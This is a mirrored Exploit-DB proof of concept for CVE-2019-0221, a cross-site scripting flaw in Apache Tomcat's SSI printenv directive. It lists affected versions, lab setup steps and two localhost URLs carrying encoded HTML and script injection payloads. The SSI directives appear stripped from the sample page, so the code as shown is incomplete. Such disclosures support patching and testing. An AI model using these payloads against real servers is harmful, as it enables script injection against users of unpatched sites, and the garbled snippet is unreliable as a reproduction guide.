Apache Tomcat 9.0.0.M1 – Cross-Site Scripting (XSS) - 体验盒子

作者： Central InfoSec

日期： 2021-07-13

类别：

webapps

平台：

multiple

来源：https://www.exploit-db.com/exploits/50119/

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# Exploit Title: Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS)

# Date: 05/21/2019

# Exploit Author: Central InfoSec

# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93

# CVE : CVE-2019-0221

# Requirements:

# SSI support must be enabled within Apache Tomcat. SSI support is not enabled by default.

# A file (usually "*.shtml") with the "printenv" SSI directive must exist within the web application.

# The file must be accessible.

# Proof of Concept:

# Install a Java Runtime Environment (JRE)

# Download a vulnerable version of Tomcat and extract the contents

# Modify line 19 of the conf\context.xml file to globally enable privileged context

Context privileged="true">

# Modify conf\web.xml to enable the SSI Servlet as per the Apache Tomcat User Guide

# Put the following code in "webapps/ROOT/ssi/printenv.shtml"

<html>

<body>

Echo:  <br/> <br/>

Printenv:

</body>

</html>

# Run Tomcat

cd bin

catalina run

# Call the following URLs to observe the XSS. You may need to use FireFox. Observe the difference between the "echo" directive which escapes properly and the "printenv" directive which does not escape properly

http://localhost:8080/ssi/printenv.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EXSS%3C/h1%3E%3Cbr/%3E%3Cbr/%3E

http://localhost:8080/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E